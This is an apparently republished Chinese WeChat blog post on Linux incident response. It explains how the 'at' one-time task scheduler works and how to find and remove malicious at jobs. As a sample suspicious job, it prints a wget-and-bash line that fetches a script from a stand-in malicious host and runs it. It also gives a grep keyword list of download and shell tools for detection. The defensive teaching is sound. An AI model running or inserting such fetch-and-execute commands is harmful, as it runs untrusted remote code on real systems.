🔖 在上一节《[01]应急响应-Linux 计划任务与 DFIR 排查实践(一)》中,我们深入探讨了 cron 服务,从基础排查到隐藏任务的分析排查,这一节我们一块看看cron的小兄弟at服务。
0x00 免责声明
本公众号文章中的程序、方法、信息和工具仅用于安全研究、教学、网络安全人员对网站及服务器的检测维护,禁止用于其他非法用途。使用者对不当使用造成的后果承担全部法律及连带责任,作者和公众号不担责。文中安全漏洞情报依公开信息整理,据此行动风险自担,如有侵权请告知。
0x02 at 服务
2.1 基本概念及命令
一次性任务:通过 `at` 命令设置
1. 确定是否安装at服务
执行以下命令确认 `at` 是否已安装:
rpm -q at
dpkg -l | grep at
输出示例:
如果未安装,请使用以下命令安装:
yum install at
2. at服务的相关文件
执行以下命令查看相关配置文件及目录:
rpm -ql at | grep etc
文件说明:
-
用户控制文件: -
/etc/at.deny
:拒绝用户列表(默认允许所有用户)。 -
/etc/at.allow
:允许用户列表(优先级高于at.deny
,默认不存在)。 -
服务文件: -
/etc/rc.d/init.d/atd
:服务启动脚本( 在部分现代系统中可能被systemd
替代)。 -
/etc/pam.d/atd
:身份验证机制。 -
命令和任务目录: -
/usr/bin/at
:定义计划任务。 -
/usr/bin/atq
:查看任务列表。 -
/usr/bin/atrm
:删除计划任务。 -
/var/spool/at/
:存储计划任务文本文件 [ 任务存储位置 ] (存储的任务是以时间戳命名的文本文件,其内容为任务的详细命令)🗝️
3. at
的常用命令🎊
命令 |
说明 |
|
创建一次性任务 |
|
列出所有任务 |
|
删除指定任务 |
|
查看任务内容 |
4.at
命令格式
以下是一些时间格式示例:
时间格式 |
示例 |
说明 |
具体时间 |
|
执行时间为当天下午 3:30 |
24 小时制 |
|
执行时间为 15:30 |
相对时间 |
|
当前时间开始延后 2 分钟执行 |
日期与时间 |
|
在 2024 年 12 月 12 日上午 10 点执行 |
自定义日期格式 |
|
在 2024 年 12 月 12 日上午 10 点执行 |
任务定义:
输入任务内容后,按下 Ctrl+D
结束定义。
5. 访问控制规则
at
服务允许通过以下两个文件管理用户权限:
-
/etc/at.allow
:仅允许文件中指定用户使用服务(优先级高)。 -
/etc/at.deny
:拒绝文件中列出的用户(仅当at.allow
不存在时生效)。 -
检查
at.allow
和at.deny
,以防攻击者创建后门。[DFIR]
6. 定义计划任务
示例 :定义简单任务
1. 定义任务:
at now + 1min
touch /tmp/example_file
<Ctrl+D>
3.2 排查处置
1. 查看当前系统的 at
队列
-
使用
atq
查看所有已计划的at
任务。
atq
# 输出示例:
1 2024-11-22 12:00 a user
○ 第一列:任务编号。
○ 第二列:任务计划时间。
○ 第三列:任务类型(a: 普通任务)。
○ 第四列:任务所属用户。
2. 检查at
任务的具体内容
-
使用
atrm
删除任务前,可以先通过at -c
查看其内容。
at -c <任务编号>
# 示例:
at -c 1
#!/bin/sh
# executed by at(1) command
wget http://malicious-site.com/script.sh -O /tmp/malicious.sh && bash /tmp/malicious.sh
分析重点:
-
检查是否包含敏感操作,如 wget、curl、bash、python 、nc 等可用于下载或执行恶意脚本的命令。 -
注意任何未知 URL 或脚本路径。 -
执行非正常脚本(如未知的 .sh 或 .py)。 -
Base64 编码形式可能隐藏恶意命令。
3. 搜索与at
服务相关的日志
-
Debian/Ubuntu 系统:
at
服务日志通常记录在/var/log/syslog
中。
grep 'atd' /var/log/syslog
# 示例输出:
Nov 22 10:00:01 hostname atd[12345]: Executing job 1 as user (username)
-
RHEL/CentOS 系统:
日志记录在/var/log/messages
中。
grep 'atd' /var/log/messages
分析重点:
- 确认任务是否由合法用户执行。
- 检查任务内容是否与预期一致。
4. 排查是否存在恶意用户创建的任务
-
查看是否有普通用户创建了可疑任务:
atq -u <用户名>
-
检查
/var/spool/at
中是否有任务文件:ls -l /var/spool/at
5. 搜索任务内容中的可疑命令
结合关键字搜索所有任务文件:
grep -Ei "(wget|curl|bash|python|nc|perl|sh|ftp|scp|tftp|telnet|openssl|base64|powershell|echo|eval|exec|chmod|chown|mkfifo|tcpdump)" /var/spool/at/*
6. 防范与清理
-
删除恶意任务:
atrm <任务编号>
-
限制普通用户使用
at
命令:
-
配置
/etc/at.allow
文件,仅允许特定用户使用at
:echo "root" > /etc/at.allow
-
或者禁用
/etc/at.deny
文件中列出的用户。
7. 检查at
服务状态
at
服务是否已启用:systemctl status atd
systemctl disable atd
📝小结
本文深入探讨了Linux中的at服务,包括其基础使用和如何排查和处理at服务中的安全问题。
在下一期中,我们将探讨anacron和Systemd Timers的概念及其在应急排查中的应用。Anacron是一个周期性执行任务的系统,适合不常启动的系统。Systemd Timers则是Systemd的一部分,用于创建和管理定时器,以触发服务的执行。这些工具对于自动化任务和系统维护至关重要,对于系统管理员和安全人员来说,了解它们的工作原理和配置方法对于提高系统安全性和效率具有重要意义。
请继续关注,我们下期再会,不见不散!✨
原文始发于微信公众号(Y1X1n安全):[02]应急响应-Linux 计划任务与 DFIR 排查实践(二)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论